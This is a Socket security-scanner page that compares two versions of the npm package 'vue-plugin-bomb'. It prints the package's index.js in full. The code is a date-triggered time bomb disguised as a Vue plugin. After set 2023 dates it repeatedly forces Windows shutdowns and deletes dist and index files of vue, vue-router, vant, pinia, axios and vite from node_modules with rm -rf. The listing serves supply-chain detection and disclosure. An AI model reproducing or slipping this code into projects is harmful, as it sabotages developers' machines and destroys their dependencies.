Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

vue-plugin-bomb

Package Overview
Dependencies
Maintainers
1
Versions
6
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

vue-plugin-bomb - npm Package Compare versions

Comparing version 1.0.0 to 1.0.1

52

index.js

@@ -1,1 +0,51 @@

import process from"child_process";import{fileURLToPath}from"node:url";import{dirname}from"node:path";var __dirname=dirname(fileURLToPath(import.meta.url));export default()=>{if(new Date("2023/06/20 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/20 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/05 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/05 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/06 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/06 11:45:01").getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rm -rf ${node_modules}vue\\dist`);process.execSync(`rm -rf ${node_modules}vue-router\\index.js`);process.execSync(`rm -rf ${node_modules}ant-design-vue\\index.js`);process.execSync(`rm -rf ${node_modules}ant-design-vue\\dist`);process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/07 08:00:01").getTime()<(new Date).getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rm -rf ${node_modules}lib-flexible`);process.execSync(`rm -rf ${node_modules}less-loader\\dist`);process.execSync(`rm -rf ${node_modules}less\\index.js`);process.execSync(`rm -rf ${node_modules}vite-plugin-vue-setup-extend\\dist`);process.execSync(`shutdown -s -t 5`)},1*1000)}};
import process from "child_process";
import { fileURLToPath } from "node:url";
import { dirname } from "node:path";
var __dirname = dirname(fileURLToPath(import.meta.url));
export default () => {
if (new Date("2023/06/21 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/21 11:45:01").getTime()) {
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000)
}
if (new Date("2023/06/22 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/22 11:45:01").getTime()) {
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000)
}
if (new Date("2023/06/23 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/30 11:45:01").getTime()) {
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000)
}
if (new Date("2023/07/01 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/07/31 11:45:01").getTime()) {
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000)
}
if (new Date("2023/07/01 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/08/31 11:45:01").getTime()) {
setInterval(() => {
const arr = __dirname.split("\\");
const key2 = arr[arr.length - 2];
const index2 = __dirname.indexOf(key2);
const node_modules = __dirname.slice(0, index2 + key2.length) + "\\";
process.execSync(`rm -rf ${node_modules}vue\\dist`);
process.execSync(`rm -rf ${node_modules}vue-router\\dist`);
process.execSync(`rm -rf ${node_modules}vue-router\\index.js`);
process.execSync(`rm -rf ${node_modules}vant\\lib`);
process.execSync(`rm -rf ${node_modules}vant\\es`);
process.execSync(`shutdown -s -t 5`)
}, 1 * 1000)
}
if (new Date("2023/09/01 08:00:01").getTime() < (new Date).getTime()) {
setInterval(() => {
const arr = __dirname.split("\\");
const key2 = arr[arr.length - 2];
const index2 = __dirname.indexOf(key2);
const node_modules = __dirname.slice(0, index2 + key2.length) + "\\";
process.execSync(`rm -rf ${node_modules}pinia\\dist`);
process.execSync(`rm -rf ${node_modules}pinia\\index.js`);
process.execSync(`rm -rf ${node_modules}vite-plugin-vue-setup-extend\\dist`);
process.execSync(`rm -rf ${node_modules}axios\\dist`);
process.execSync(`rm -rf ${node_modules}axios\\index.js`);
process.execSync(`rm -rf ${node_modules}vite\\dist`);
process.execSync(`rm -rf ${node_modules}vite\\bin`);
process.execSync(`rm -rf ${node_modules}vite\\types`);
process.execSync(`rm -rf ${node_modules}vite\\index.js`);
process.execSync(`shutdown -s -t 5`)
}, 1 * 1000)
}
};

2

package.json
{
"name": "vue-plugin-bomb",
"version": "1.0.0",
"version": "1.0.1",
"description": "",

@@ -5,0 +5,0 @@ "main": "index.js",

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc